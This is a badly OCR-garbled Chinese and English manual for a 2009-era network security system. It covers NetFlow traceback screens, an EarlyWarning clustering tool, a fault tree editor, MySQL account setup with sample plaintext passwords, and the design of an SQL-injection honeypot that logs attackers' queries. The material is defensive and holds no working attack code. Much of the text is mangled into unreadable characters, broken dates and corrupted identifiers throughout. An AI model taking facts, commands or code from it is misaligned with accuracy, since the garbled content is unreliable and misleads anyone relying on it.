root@nl-PCa:~§ ./nyl.o eth2
Listen eth2 start!!

B A-1 % router #7428 ehE &

218



i | root@wnl-PC3: ~/Tracebhack IEIIEI _:-E'.-i'
EE(E) #REEE) BBmiy) SRR FH(B) i)

i HEon | -PC4: ~3 sudo, -3

rootEwn |-Podi-8 cd Traceback

FootEwn | -PEd s Tracehackit java MPCSide

|Elierméar gtartlhg <n'0.0.0.0/0.0.0.0:4862

'“ root@wnl-PC4: ~ I£||__1:|_I|_:|-c__|1

2 (E)] REE(E) Ml EORE(T) o H(B) HEEh(H)
source 1P = Dxe0a80302(192.168.3:2) —- dest [P = Oxe0000009(224.0.0.3)
Protoco | ILDR(1T] Source PortiSzo Dest PortiSzD

Routar Marber:l —s1100=1 ,1102=0,1106=0.

Start: 2009-09-15 15:59:20  Ercl: 2009-09-18 15:59:20
source 1P = Oxc0aB0302(192.168.3.2) —-» dest 1P = Oxed000009(224.0.0.9)
Protoco| (LOR(1T) Source Porti520 [Dest PortiSzD

Router Marber:l-—31101=1 ,1102=0,1108=0.

root@wn [-PCai-§ L Amyl.o ethl
Listen ethl start!!

(=

122 (F) 4REE(E) FER(W) ﬂ%ﬁ% (T) ﬁ%at_} FEH)
source [P = Oxc0a80305(192.168.3.5) — dest 1P = OxcOaB03FF (192.168,3.255) i
Protocol sLDP(17) Source Portil37 Cest Port:l1s7

Router hurber:2 —3»11D1=5 ,1102=1,1108=0.

Start: P00S-09-18 15:48:41  End: 2003-09-18 15:48:41
sgurce 1P = Oke0aB0a0S(192. 168.3.9) —> dest 1P = OecO0a80302(192, 166.3.2)
Protocol (TCPIB) Seurce Porti1089 Dest Pont 10

Reuter Minber:? —51101=5 ,1102=1,11068=0.

Start: 2009-09-18 15:43:52  Erd: 2009-09-18 15:43:52
source [P = Oxc0a80305(192.168.3.5) — dest 1P = OxcOaB03Ff (192.168,3.255)
Protocol 3LDP(17) Source Port:l38 Oest Port:13s

Router hurber:2 —3»11D1=5 ,1102=1,1108=0.

Start: P00S-09-18 15:55:52  End: 2003-09-18 15:55:52
soUrce 1P = Oxe0ag030s(192.168.3.5) — dest 1P = Oxc0a803Ff (192, 168.3,255)
Protocol tLOP{17) Scurce Port:138 Dest Port:i3a

Router Mdnber:2 —»1101=5 ,1102=1,11068=0.

roat@n |-Pod; -4 Ayl o mdar dge
Listen mbridge start||

B A-2 % bridge 4 7425\ chd w
%b‘f AN PL: 'zi

® % mpeset.o iz A AR L L AP fRiei e g AR MrhisiE s §
mpcset.o 7P & (SRR 5~ ﬁ%l r»Pcd~")o Aok 7 R E-IID g 5 20 ﬁ%l
»”sudo ./mpeset iid 27 » FLF P 0 iid & - #5 »~ “sudo /mpeset iid” o 4 {7 S Hc¥ 1
i * . /mpcset.o help”i& {7 39 4 (78 % 4o B A-3 977 o
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rooLEWNI P2 ~

@) GEGE) BRy) SRED SEE) R

w8 -PC2: -4 sudo —s
root@n | -PCzi# . fpesetio help

Exarmple:
Shew 11D Nufrber SAmpesat.o | id
Set 110 hunber -/mpeseto | 1d <nuiber 1-255)
Lead the setting : fmpcset o load

rooti=wnl-Pe2: =

@R (E) SRE) W) BRI HEB) #MH)

whi | | -PC28 -% sudo -5
rootBin | -PC2: -8 o/ mpeset.o id
=3

roctBwnl-PC2:-f . /mpeset.o 1id 2
LD

oot | =PCz: -f El

rootiEwWnl P ~

| BRI SIEE) BR) BRSO SEE) RS
MF@WIHF‘EE =h &uﬂ;:( —g

roct@n | -PCzi# . /rpesetio (oad

L] mpc.contig e WETE e §

oot @ | -PCE 4 l

B A3 7ok %

e %% Java A o 2l BB Traceback FL & > RS T
Traceback.java - ﬁ%l » ”java Traceback” » GUI /i m 32t s34 7 00k > 4o B A-4 -
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FaukTrew FaryWarneg Rue fdfor  Bacierd Mapsgonest  Sewc! Dorain
HonwyNet | Traceback | metFlow Anabyus

MCC WP (167 1882 3 Send MCC W
Source v ¢ Destir ¢ DastPorct: * i Protocel TCP=8 W

Fragment albon Oate = J00%-13-% Tima: scoul 200% v | Vear 12 ¥ Month 3 (v Date I2 * Melr 0 v Mint
Add®Mimus 1 ¥ seconils and show all the path i the period.  Search Cancel InvokaTracaBachkRutton Nettlow (
S Tusag: ETiME L2 o iF Frotecol DestPort

Metflow Analysis = Traceback Haneyhet
Netfiow in Quary  Netflow Out Query  Complets Path  incamplete Path

B A-4 Traceback % &
1445 %} Traceback java i 6 IP > 37 f&4"Send  MCCIP” > — 2_& §j »

ERE R E S FENN S US

2.Traceback -Traceback

EEEgr AR R BRAYEDTR FRE KA Dp
M F > 2 ¢ SourcelP ~ Destination IP ~ Destination Port = IP Protocol % & &
»end 34 % % > Source IP ~ Destination IP *x % IP i+ 1t (4 192.168.2.4) » DestPort
Pl E s o B o] & 0~65535- IPprotocol *c ¥ 6 & 4 TCP % 2 » 17 # & UDP
t Z_e @ Fragmentation ~ Date - Time = # § ¥ 38 p » 3 i¥ Fragmentation » P2
Ergrmhrog 2 gate £ F 3 R8¢ 7 &% pLE I o4& "Search” »
g e pdwrip > TiEHe KOS FRIFBALS EEFT-LF
30 FH"Cancel” e FE - PR 0 P ARRAFRS ) PV ERET R T RE
B f5 0 ¢t PR 4 7Cancel” 0 I “Incomplete Path” 4 5 7 % RS - &7 - # 7 B
EERAOLL - T H i~ SRR R
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Fumires fwpMamng  Hilesnnor Beckind Manogesnt | Sewmc Gamam
Moneyhiel  Trsesbock | heiFiow Snalysis

‘.
MCT IV IS
Sanrze i {107 (e e s DmatiP; 1471087 7 DestPaect e iF Prafocnl | TEP=R -
|Pragmentation ] Pale: TOFIEH [ Thme 2290 (3008 | Vear (33 = Hanth (8 = Osts (12 = Mour 0 = | Migite 43 =)
Aatdbimus (3 [= wweanis and st afl the path in the periad. | Eanial || mvekaTrareBackution | Wetflow Cncel
STk ETIME 100 A [l U R W Peotaeak 1P =8  DestParts Wb
.Iﬁ’;“.‘”" .,. .. e VAR . N"
“Caniphnte Path | incimEiete Fath L
{h dorss, | ]|
_l‘ lfessnemits —= i IR LT 5 (N2 Io0 i —--i.f.F'uF:l-"..':fl---"- 3FJIﬁ'Ei_iF1 E

B A-5 Traceback §& /& & T
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3.Traceback-NetFlow Analysis
PAm ERE ez 3 E S FERFFERT 2 B Y RLA
¥ W ¢ @4 Traceback - ‘& IP > Traceback 1345t IP> & s o7 5 24 IP 4p B eo
AT 4o B A-60 "NetFlow In Query” & I8 5300 [P Ap B e/ » i A F 3
4R IP kR IP
Bl A-6 & » B RF

FaultTree EwrtyWoamisg  Rule Editer  Backead Masagement  Seledt Domain
HoneyMet | Traceback MNetfliow Analysin

MCC WP 19214082 3
Source iP: 92188103 DastiP; (52 16887 DestPort: 084 P Protocolk TCP=§ «

_IFragmentation || Date: 2009125 [ Time: 223632 (2009|+ Year 12 v Month 9 |+ Date (22 v Hour 36 v Minute 52 v

Adid NN ,T v seconds and show all the path in the period. | Cancel || nvokeTraceBackBution Netflow Cancel |
STiMe: ETUIME: SiP: 192368103 D i Protocel: DestPorl:

WetFlow Analysis ~ Tracehack | HoneyNet |
Netflow In Quary | NetPlow Out Query = Complate Path | incomplete Path
SIP:192.16883 DIP:192.168.10.5 DPORI:SB&%& Protocol:-TCP=6 E|

SIP:192.168.83 DIP:192.168.10.5 DPORT:39079 Protocol:TCP=6
SIF:192.16883 DIP:192.168.10.5 DPORT:39080 Protocol:TCP=6
SIM192.168.8.3 DIP:192.168.10.5 DPORT:63473 Protocol:TCP=6

5I1P;:192.168.8.3 DIP:192.168.105 DPORT:63474 ProtocokTCP=6

223



4B A-7 > "NetFlow Out Query” & =15 52 3¢ IPA4p B chis S 53 > &
AP B IP

fn&?cn Eadyworming m;d_nu  Backesd Maspgement  Select Dumain
| HoreyNet | Traceback | Netflow Analysis
MCCIP: 19216025 i

Source IP: 15216810 % DestiP: 157 1088 1 | DestPork: (ua P Frotocel: [;q‘! :_'

CIFragmentation || Date: 2005125 [ Time: 22332 (2000 %| Year 'li_v Il-nlh_'l_l"mnE_' m'ﬂ_' Minute 57 |

AddMinus (1 |~ seconds and show ali the path in the pariod. | Cancel — InvokaTraceBackButton| _ Netflow Cancel
STIME: ETimi: Sz 19216010 % Dp: W Protocok DestPort:

NetFlow Analysls | Traceback | HoneyWet |

SIP:192.168.10.5 DIP:192.168.8.3 DPORT:21 Protocol.TCP=6

: e

SIP:192,168.10,5 DIP:192,1688.3 DPORT:256 Protocol:.TCP=6

SIP:192.168.10.5 [IP;192.168.8.3 DPORT:25 Protocol.TCP=6

SIP:192.168.10.5 DIP:192.168.8.3 DPORT:554 Protocol:R-P=6

SIP:192.168.10.5 DiP;192.168.8.3 DPORT:53 Protocol:TCP=6

SIP:192.168.10.5 DIP:192.168.83 DPORT:389 Protocol.TCP=6

SIP:192.168.10.5 DIP:192.168.83 DPORT:23 Protocol:TCP=6

SIP:192.168.10.5 DIP:192.168.8.3 DPORT:22 Protocol:TCP=6

SIP;192.168,10.5 DIP:192.168.8.3 DPORT:3389 Protocol:TCP=6

SIP;192.168.10.5 DIP;192.168.83 DPORT:113

5IP:192.168.10.5 DIP:192.168.8.3 DPORT:1723

SIP192 1AR 10 5__NIP-192 168 8 3__NPORT 443

Protocol:TCP=6
Protocol.TCP=6

Protocal TCP=fi

Bl A7 75 d1g ST R
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~

2L:% "NetFlow In Query” & "NetFlow Out Query” /i & T sk 3 F L >

Traceback 7 ¢ p #+:& {7 w3 » BRi% {5 #75 &”NetFlow In Query” “NetFlow Out

Query™ /i & T sy £ 4 H 0 4ol A8

HeneyMet | Traceback | HetFiow Analysis
MCC#P: 15218825

Source IP: 152108105 DestiP: 192 1440 3

STIMEE: ETIME:
 NetFlow Analysis  Traceback  HoneyMet

| Fragmentation Date: 2009.12-9 Thme :

FaullTree EwrfyWoming Rule EdMor  Backend Management  Seler! Domaihn

DastPort: njid i Protocot [TCP=6 '~

723552 (2009w Year |12 v Month 3 |v Date |27 v Hour 38 v Minute 52 v

addMinus 1 |~ secends and show all the path in the periad.  Search

SIP: 162168105

Cancel

D: 19214481

NatFiow in Quary  NetFlow Out Quary | Complete Path  Incomplata Path

|  invoksTraceSackButten

W Protocok TOP=4

Netflow Cancel

DeastPort: 21

!

L

B A-8
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¥ 3|”Complete Path” 4 5 p d i S €22 %% 4wl A9 £ R BEY - £ F
-

FLA o F 7 NetFlow Cancel” » & 8 % 7 - RPEFR ¥ A R I » P BS

2

i » 2 BT > ¥ 4&7NetFlow Cancel” > ¥ ¢ 1 ”Incomplete Path” & 3L 7 = i
B e
=

FaultTree  EarlyWarning Rule Editor  Backend Management  Select Domain
[ HoneyNet [ Traceback | NetFlow Analysis |

MCC IP: 192.168.2.5 | |

Source IP: [192168105 | DestIP: [192168.8.3 | DestPort: [684 IP Protocol:

[|Fragmentation [] Date: 200912-9 [] Time: 22:36:52 [2009|+| Year [12]+|Month 9 |v|Date [22]+| Hour [36 | +| Minute [52 [ +]

Add/Minus EIT seconds and show all the path in the period.l Search I Cancel ‘ InvokeTraceBackButton || Netflow Cancel

STIME: ETIME: SIP: 192168.10.5 DIP: 19216883 IP Protocol: TCP=6 DestPort: 21

NetFlow Analysis | Traceback | HoneyNet |
|| NetFlow In Query | NetFlow Out Query | Complete Path | Incomplete Path |
Path Numb...| Path
0 |192.153.2.1!24 -->192168.4.1/24 --> 192.168.6.1/24 --> 192.168.10.1/24 --> 192.168.8.1/24

B A-9

4. Traceback-Honeynet
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3

AR EE g R P E P PRI P E G B REAF S HNT
4 Traceback » - pF Traceback ¥ ¢ p $:&2 7w if > & R % % 4cF A-10 -

0%

FaultTree  EarlyWarning  Rule Editor  Backend Management  Select Domain

HoneyNet | Traceback | NetFlow Analysis |

Mccp: 19216825 | |
Source IP: [192.168.8.4 | Destip: |+ | pestPort: [+ IP Protocol: [TCP=6 |+

[Fragmentation [ Date: 2009-12-9 [ Time: 22:27:28 (2009 || Year [12|+|Month [9 |+|Date [22|+|Hour [27 |+ | Minute 28 [ ~]

Add/Minus EE seconds and show all the path in the period.| | Cancel || InvokeTraceBackButton || Netflow Cancel |

STIME: ETIME: SIP: 19216884 DIP: 15216827 IP Protocol: TCP=6  DestPort: 80

[ NetFlow Analysis | Traceback | HoneyNet |

Complete Path

Path Numb...l Path
0 |192.163.8.l!24 -->192168.10.1/24 --> 192168.6.1/24 --> 192.168.4.1/24 --> 192168.2.1/24
L3

B A-10
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update tid * ok #7log P tid ehficE 0 d T insert ATE L hpEiE T A
$Htid FRAIZ o ot ie & ATARSS i 2 H R TIHentid e
% 3k
Jupdate tid <£2 { #72 FHE IP>

log ¥ log_sp *ORCR-T AL - TR 47 5% > log i * *t demo pF i
F AL o log Sp i * e PERF AL .
®F 3 gE
d N BN AT general AT AR FIRBFZ B
T IR T B s 2§ BB FTRE e 2 od
Zepi= ¥ 0 B3V 4 w5 mysgl_real_connect ¥ fin

insert_time LA * kiE = time_by_hour i3 table A e F L » ¥ s

= j€_2009~2100 FF 7 35 pF fF e oL o
g

Jinsert_time <34 & IP> <t >(*24] . 2009~2100 2 )

Ft M FTHEZ FHAARIELR Y WP
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i
h?
PRSN
~aly

c3t MCC F oo

R WA R RN AT Ewa L

v MR
o ) T |
R SN E Mzpe 3 =HWidey 3 EMEFERT
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i |
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Rule Editor
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PHURZIFEBHIER® P
1 #hHwp

AR 258 e $7 & & EarlyWarning.tar.gz - #f%/& | ~dmsecurity/ * - #-#&

4 - F & ~dmsecurity/EarlyWarning/ - 2T & T iR e FR &

b. bin\

TR 2 java class & ehi= E o # % buildsh 3% script € FT %
EarlyWarningjar * ¥ §4 {7 jar fh x pF ¢ ¢ * 3] o

c. jar\

BT R Fahjarfhk g P £ 5 EarlyWarining.jar = ScoreBrowser.jar
# 37 3 jar fh % 0 EarlyWarning.jar % 5 7 # 3 42 3% » ScoreBrowser.jar B £ i
MCC e v i # » TR 3= g @ * o
d. lib\

HAARSS g @ * Flend @ ek x library 0 & 3 ¥2 mysql database i #Lié * eh
mysql-connector-java-X.jar f=i& * Monderian OLAP Engine ¢ # * 3| library
%o ¥ ¢h> % buildsh p 7 %= & g EarlyWarningjar &84 7 p% ¢ T 44 1%
& library » 33 B A E 0 FAL AN F 0 L § gt %4 build.sh fo manifest.txt
ZoFp o
e. profile\

FAAF A P Profile T, i MCC B~ * > 5 3% 3 #8 5 192.168.1.3>
H ¥ enprofile #% & 5 192-168-1-3.xml - & p EarlyWarning #25%#4 (7 2 {5 ¢ +
@) CSIM 4875 % o
f. src\

% 2% EarlyWarning & 258 s 4o/ 4% % 0 A% it ehjavadoc < i o
g. .classpath

B gr i * D entt IR java library 4% % 0 A @ * buildsh &£ # & 2
EarlyWarning.jar i ¢ 2 ¢t 5 %% & 4 /&0 manifest.txt 4 % °
h. .project

i * eclipse ¥iE st project pF ek T °
i.  manifest.txt

Ya3¥ EarlyWarningjar & — ¥ 34 {7 jar #h % P% > F 1518 - manifest # % 45 T34
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Tz feNgrip b 31 % b3 jara library ehi= % o ¢t manifest.txt ¥ i%:& build.sh
e .classpath & 4 & 2 » & % build.sh 2 2 EarlyWarningjar p#31 » i * -
j. sim.xml

i¢ * Monderian OLAP Engine p* § & 4 2 s table schema > 4p B 35 3 %4
TR BERE2 mp 2 2o
k. build.sh

P T RF osoript £ k£ B %3 347 EarlyWarningjar i@ * 0 A28 A

P B H - Mir 4 2 AfeN 2 javaclassAhF A R T bin\ P A&T 0 %=

\4
X

|~
=

> f5d .classpath #h % 2 2 52 manifestixt ¥ & > $ = MR b
manifest.txt < £ &2 % - IRix 1 & 4 ehjavaclass #f; % = = EarlyWarningjar ¢ ¥ 34
7 F% o
[.  updateProfileAndRun.sh

Po— TR osoript ¢ fad T 2 i 1+ update tid gt - 250 { ATEALE P
log i&5k & & entimd_id 33t > 22t 34 {7 EarlyWarningjar 3+ & b "¢ 3 & & 5 &

{2 4 oprofiledfhk } @3 CSIM 148> R pHF e r R FHAP o

2. BN E P o
a. EarlyWarning.jar
AAENHFRETF G 6B fHcETR € H ¥ simserver, csimserver, domain
B SEA TR AP BAETARG Mg oS F L g A profilel
o

T A4 2 TAL e profiler i3t standard output & J1 4 ScoreBrowser ¥ R £k

Usage: java -jar jar/EarlyWarning.jar -simserver <ip> -csimserver <ip>
-domain <domainlD> [ Other options....]
Other Options:
[-clusternumber K] [-date computeDay] [-debuglevel level]
I —simserver <ip>
B - Sdikdp T SIM A 40 IP address 0 - A kR
EarlyWarningjar € & SIM i 4%+ 4 {7 » e 2 jpdp T2 IP
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Address # ¥ ¢ * |ocahost B~ it o
L3V 4r ¢ -simserver 192.168.6.3
ii. —csimeserver <ip>
- S dcdp T CSIM A s h IP address ¢ F]
EarlyWarning #2;% ¢ #-3 R 4Zchi 2 2 T oh
i B3 CSIM 2> s F &k CSIM A e IP
address 12 i s g * o
¥ 784 0 -csimserver 192.168.2.4
iii. —domain <domainl D>
P S LABRSERGEAEY BB SIM A H@
BE] CSIM 1 ¢3% 2 b TR E kgt At 3 B eh
R A
#3484 0 -domian 1
V. —date <computeDay>
o Sl RS R ERETR IR TR
B > blders 2009-12-25 k3t pF € 494 2009-12-18 ~
2009-12-24 2 e MF ARG FHRp % E 0 T A4
2009-12-24 3% % & A g erprofilec 7 & i pt S 8cpr > € &
W EBE GRS DPD T - R AT AR
Hpriw > A4 5 - p i profileo
#3V 4o 1 -date 2009-12-25
V. —clusternumber <k>
oo Sl REBTARDI A S H S, P
K-Medoids Algorithm # K » %3‘% e K B O R
X g AEEE I - BT R ORE S EL RS -
¥ 374 ¢ -clusternumber 2
Vi. —debuglevel <level>
p— %L&ﬁ:#;q TR FAdFwmiER o k1~
5% BEE>GFRET L - L2 *ERHEAZH I
=8

o
\r:!

$ 5
2

T ¢ o standard error By s % g B
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standard output % 3t ©
$ 44r ¢ -debuglevel 3
b. updateProfileAndRun.sh
BAENE A ERBENFLIB I AT RS THFE
I User
iedr CSIM b s profile f7mizig * 3 chp &
T 3p 3 4_dmsecurity
i CSIM
2547 CSIM =i % IPaddress > 3f 3% #_192.168.2.4
iii. SelflPAddress
wwhE A0 |IP address - R %5 “ip address” yt -

unix 4p 4 B~

V. DomainlD
T A F S S SIM A 87K EE “hostname”
- dp s
V. Today

5P pY o FE “date” s - unixdp 4 B
Vi. Yester day
w- p P B “date” 44— unixdp 4P
Vii. RemoteDir
& &k profile #-+ @3] CSIM 2 7R =% » T &
profile p #7 4 5 7 I 3ok & 33 2%
viii. L ocal Dir
a2 S aprofile ¢ 33 7R TR &
C. HuUBRBREFHEKT

= R
=3

f‘ﬁgﬁ—iﬁfub— SIM i % CSIM 2 8 cnps i
- & ¥ i * ntpdate :& {7 & PF 0 @ * > ;% Intpdate <CSIM
|P address>

i ERILPEE

EARLBHE e FEFR o ary 3R
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HostClustering,java ¢ — 4% % p > 383 ¥ 4% host_group
¢ gid & 8 it 7 cdustering #3EE R G B 0 40F F
F3p #4502 build.sh £ #7.%%F EarlyWarning.jar -

B AR A2 A AT

26

27 /I the hosts we are monitoring
28 private static final int[] HOST_GIDS =

{8}

-0 Q2 0 T o

@

29

http://en.wikipedia.org/wiki/K-means clustering

http://en.wikipedia.org/wiki/K-medoids

http://java.sun.com/docs/books/tutorial/

http://java.sun.com/javase/6/docs/api/

http://www.mysgl.com/

http://mondrian.pentaho.org/

http://heirloom.sourceforge.net/man/sh.1.html
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AFAR G E R RP
1 4 %48 % (FaultTreeEditor)

4R

LIRS UEC IR0 B2 1 M!,!r: % 2 H(Fault-Tree) -

A FHEHIEE I n B

% E %16 MCC e e o
HEHEP
File:
[ New Page] : #7# - B % v e FaultTree %iE ¥ o
[ Open XML File] : B fz- i FaultTree XML # % -
[ Save XML File] : # % — & FaultTree XML 4% -
[ Delete XML Filg] M‘,%— i# FaultTree XML #, % -

Options :
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[ Keep last selected component ]
[ Create Gate with Intermediate Event | :
Intermediate Event -

1 EFp

CuT
SET

$a

F

KHL :I I
C D E G

1B G|

AT - B 76 oo FaultTree %iE % o
DR - 1 FaultTree XML #f % -

Dy - B FaultTree XML 4% % -

DAk iR T e 2
D] B i
D p BB P 5] FaultTree i -
D 4

o

o

G m m o O W »

I iR T ch FaultTree 2 58 o

“\ @

H

A !/
I K L M

1B G|

H:ZEa1 & % RERE S HBE 52 o (Alt+)

|: 22 - BAAETL APy ERATHEL > PEREAZF BIEPLF AR o
(Alt+Q)

Jt A4 - B3 Input/Output sh? A% > k5 H HF & (BHI) 2§ Output -

(Alt+W)
K :Or Gate #F = i S eh i 4% %
(AIt+E)
L:AndGate- #7F = i@ R enE 248 5%

g ok 2 Bt o @3 e
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M: 7 a2z - BaR- (Alt+2)
N: # i’cwljl‘,ért#v’rfi o (Alt+3)
FRasmm
Title: @ % ¥7 o R AR PEILLAE T 56 o
Info: i@ % ¥ p Leh~BEmPF > 7 3d o
Numerator (A 3 ): A~ F #enh 3 ik o

Denominator ( & #+ )@ A~ F a2+ Kk o

4efe % FaultTreeEditor = - B FaultTree :
BREAA- B T{FAwREF | 2 4o

L RS S A

ODEa@mZ @

# 3= &2 And-Gate & Or-Gate
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NUmemmr (57)

s
L

Denominator [ﬂ'ﬁ}

E—Hrivihgy

= > And-Gate & Or-Gate

HFz EFIEE

LY |o: )A||-||!| @

Title

R ES

Info

EamiE A ERER

3 : Sl 1 U

Numerator (5-1)
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AR R Ry

w R P B

B is T%?}'éafr‘u? MA A - BN L BRSO XML A SR BA T E AT o
2. % FAh & 4 17 B (FaultTreeAnalysis)
B SN0 S
PR 7 TR % XML > R a5 P B DT LS enh e B 1
FAFTHEFERET Y AEHMATL R R,

hpau
o

BHEE T 4 4 java-jar FadltTreeAnalysisjar 7&:5 Bdem 7% P ek

BRI p o
ip 4 ¢ java-jar FaultTreeAnalysisjar [2009].[Q4].[11].[2].[11] 2009/11/11
trE.PE. P! PE.PPIFHHP

3. A FAHh ‘&8 T ¥ (FaultTreeBrowser)

iR e
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KR RIS 4 FaultTreeAnalysis 4 17 1

£y [ | FaultTrealite
009711 /5L 152.168.6.5 AbnoRprfreg
12009711441 192.168.6,4 AD NOR prEreG
200871181 192.165.6.5 Abnolpdated
00971178 192.168,6.4 Worm
2009511411 192.168.6.4 Al poUpd ated
|Iﬂ.09}'11}11 192 168:6.4 SeanPort
2008/11/14 197, 168,6.5 SeanPort .
l2009/11/11 197 168.6.5 UnsaleServiceComb
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2009/11/k8 192.168.4.6 Scanfort
%k TR
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STEP1 % 2 ¥} E
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T roteaiAn-desktep | omeralan

BEE SWED Sl Esml SR

EAET mysgi-dtver-3.8 |
hilE not sandatory. it &s highly recommended that yoio set @ pEssword
far the My30L adeinistiative "root” Leef.
If that 16l Ls Left Blamk, the password will not be chamged.

New password far The MySth “root™ wmer]

3 s B0~ T 75 £

5
3

BEW > RTARHAT LE o T

% » MySQL

I alanZlocalhost:~
File Edit View Terminal pelp
{alanBlocalhost ~]§ mysql -u root -p

Erter password:

fwelcome ta the MySOL mondtotr. Clmmands end with ; oF \g.
Your MySQL conmection id 3s 2

server version: 5.1.37 Source distribution

Type 'help,' or *Wh' for help. Type '\c” fo clear the currert inpput stateémsnt,
{mysat= i
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N p & F iE = 4o o database
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HegL(id) [F 7 3 k] %75 (pass) [ B 4] fi] 3 (domain) [#cF 4] f&]
root 123 11111
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STrLE T TS B 3R E 4o not null fh gk
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31%1 NERIST LT G FE TR

select * from AccountList; #iE 4% L5 AccountList #73 78 P

%A i

T alanFPlocalhost:-

Filg Edit View Terminal Help

[alan@localhost -]§ mysql -u root -p
Enter password
Welcome to the MySOL momdtor. Commands &nd with ; or \g!
Yaur MySOL connection 1d 15 3
Server yversion: 5.1.37 Source distribution

Type *help; ' or ‘\h' for help. Type '\c’ to clear the current input statement

mysql> use AccountData)
Reading table information for completion of table and column remes
You can turn of T this feature Yo get a quicker startup with -A

Databaze changed
mysgql> select * Trom Accountlist;

Bt e
| IO | PASS | DOMATN |
¥ SRR PR Y I A L Y

| roat | 13 | F13AX |
| alan | asdf | 216006 |
| bae | gwer | 11100 |
i i e i o e o o
3 rows in set [(6.00 sec)

mysal> i
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#FRE
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tar -vxzf MCC_Final.tar.gz
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= nE
i » MCC_Final F# 4 o
cd PATH/TO/Y OUR/DIRECTORY/MCC_Final

java-jar MCC.jar

=
File Edit Wiew Terminal Help
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Login
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password  |eee
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domain i2
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end
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Manage Account

*account [alan
password [PASSWORD
domain 2
new | delete | modify | check end

your account alan

check account is alan. code is asdf. domain is 10000

FH N RIRELY B AR T OREIRNG > B Bdhdomain % 0 H4E
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Fault Tree Editor

Early Warning

Rule Editor

Backend Management
Select Domain

5.1
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Domain 4
Domain 5
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[1] “SQL injection — Wikipedia, the free encyclopedia”

[2] "E.1.7. Changes in MySQL 5.0.22 (24 May 2006)". MySQL AB. 2006-05-04.
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[9] Honeynet DataAnalysis. A technique for correlating sebek and network data
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article.php
board.php

[I. Vulnerable database
Vul-DB

[1l.  Entrap unit
index.php
login.php

V. Manage unit
lib.php
log_list.php
log_search_form.php
Blist.php

V. Record unit
log.php

VI. Log database
L og database & & 4T -

l. Ip

.  Seclv
. Time
V. Page
V. Acc
Vl. Pwd
VII. Sglstr
VI111.Sebek

LR L2 P -5 P Sebek
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board.php

[1. Vulnerable database
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IIl. Entrap unit : & & k3 index.php » & 7 3 SQL injection 33 2k web
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V. Manage unit
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## it @ § fin4z(Flow of Events)
;gy;ﬁg_g»gaaga%wgﬁfb?ﬁg%’ﬁfﬂiagéi# ¥ & = SQL Request
i¥ 7| Entrap Unit - Entrap Unit 2] 2_% & ;2 > B B % SQL Query i¥ T b2 F
HLE o X MR RS S TR P RSB T AL T 4o 1 % P FI AR E
TAL R K AREE S RGBT GER T R

o) ot Bl Rond2 (Alternative Flow)
R F RS RABE TR AT B a R FRr P AT
Pk SLw MR EL 0 RAS R

|4

7 Z £ (Special Requirements)

E-

% % % # (Pre-Conditions)

ts B 1% ¢ (Post-Conditions)

#t ¢ @t (Extension Points)

L

= % B (Activity Diagram)
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Start

Verify the input

Not Match the info
in 0B

Mateh the info
in B

Login Fail Login Success

End
=

¥ i+ % 4 45 (Object Oriented Analysis)
AR Rf B BRERT DI UME RN FRE RAEFTNER
B~ & WE AR o heT b
20 EBEITE T uERE PR KT - B B 4 9] (Boundary Class)RadarPanel
KA B AR o 1T £ o Bl

20T MUBET P AR EHEE 0 %30 - B P A% w](Entity class) P ¢ 5 o
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9 7 Bl (Sequence Diagram)

User Vul- Entrap Vul-
(:::) Login Page Unit Database
Input name & pass )-'L Generate Login Request i Send Request :
= tp 0B i Account Info.
Match
P
» R Return Account
— Info.
Get privilege Infa.
Login success

3¢ %] B (Class Diagram)

RYHLFT LY 0 BB AR

## i gt g Riondz(Flow of Events)

A0 ¥ 0 SQL Request
I 3% 3] Entrap Unit - Entrap Unit 2| 7_% 24 chrc# > 7 @t SQL Query i 1
Record Unit » e p¥+ -2t SQL Query i% 3| e xb2_ T - Record Unit € 3= sz ¥

fé‘?ﬁéfg‘/\fﬁ‘if’ﬁiﬁl\ﬁﬂiig A E R A2

Z ¢ ¥ 7| Log Database -

M ferbz TR A3 7 =2 SQL Query & ¢ #-% % w & % Record Unit> Record
Unit £ #- 0t @ w TR G0 F 3 8 Tt 4 & 2 - ¥ log 2 » fb* «hlog database
¢oo

RS 7= SQL Query FF» € e 3¢ B % i v Entrap Unit > £ d Entrap
Unit i A w35 3000 o S i85 B F BT Ap e Pt LR -

o) 7t Bl Rond2 (Alternative Flow)
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7 Z £ (Special Requirements)

% % % ¢ (Pre-Conditions)
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7= % B (Activity Diagram)

Attack success. Attack fail.
Login. Can 't login.
niy Lag this
gitempt.
End
-

¥ & % 4 45 (Object Oriented Analysis)

AR RFHIEBERY BRERY D) ME RN 2 FpLA
0 BPFITL T UBEE PR W - B R 4w (Boundary Class)RadarPanel
kBT P ARfode ol (TS i BUnd e

BV UREG PR EE > KT - B AN v (Entity class) P -2 7 o

¥ B B (Sequence Diagram)
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Vul- Entrap Record Log Vul-
O Login Page Unit Unit Database Database

#g ] @] (Class Diagram)

P & { =% 3+(00D)
3f W] % 3+ (Class Disign)
Index.php @ Login.php o Lib.php
20 I %ﬁ: ---------- o L o ”| function chk_filter # &
l ’ 1. %R IP i security level
=kl - 2. i security level ﬁi},@ﬁiﬁ »
¥ =gl
¥ i
B¥ /IIPAZ ZHY
board.php Board.php

i o (F ie4k log)

W Gedr

log)

black_list: 4%& & % ke IP
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Field comment
id Primary key
ip S ¥ kiR IP
sec_level P > 5 %04 (0™, 4% F)
attacker _log: # =t st # ehisdrtf
Field comment
id Primary key
ip I’I?-’ﬁ gk ik IP
sec_level L IPgz 2 5% 04 (0:5™, 453F)
time Log & 2 epF i
sgl_string fé*—’ﬁﬁie?]%k’i’ﬁi;‘r‘ g SQL » B & M 7 SQL
F P
attack_page CilPra- ok T
log_comments g g chlog

P SR TRIKERP

T AR N R

CEL R R AR AR S

1. loginhp : #&:¢ % F’“/@ﬁ'%ﬁﬂﬁiﬁ/\?}? IR B ORIREE S F ~iE 0

»E BRI T
twh -

2. lib.php

o3 5\“ ;‘:ﬁ.«p’; :

A%~ #3538 B3 function chk_filter(lib.php) (Tt~ #
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Function name

I nput valuses
(typefield_name:

comments)

Functionality

Reference

programs

chk_mal_login

I. String
$input_acc : @

* ﬁﬁﬁj/\ etk BE,

[1. Sring
$Sinput pw i@

[11.String
$sgl_acc
SQL Query stk
5L

IV. String
$sgl_pw
SQL Query i

5

R T % SQL

WHEERLT 6 FL

Login.php

chk_filter

HTTP_POST variables
&$ POST :

an array of variables
passed to the current
script via the HTTP
POST method.

AR RIPEZER L5
7 log &4 % B2

security level

Login.php

get_magic_quotes _gpc

None

AR
- 7| e

addslashes_function() > #
i L8R

Lib.php
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addslashes_function

HTTP_POST variables
&$ POST :

Array of variables passed
to the current script via
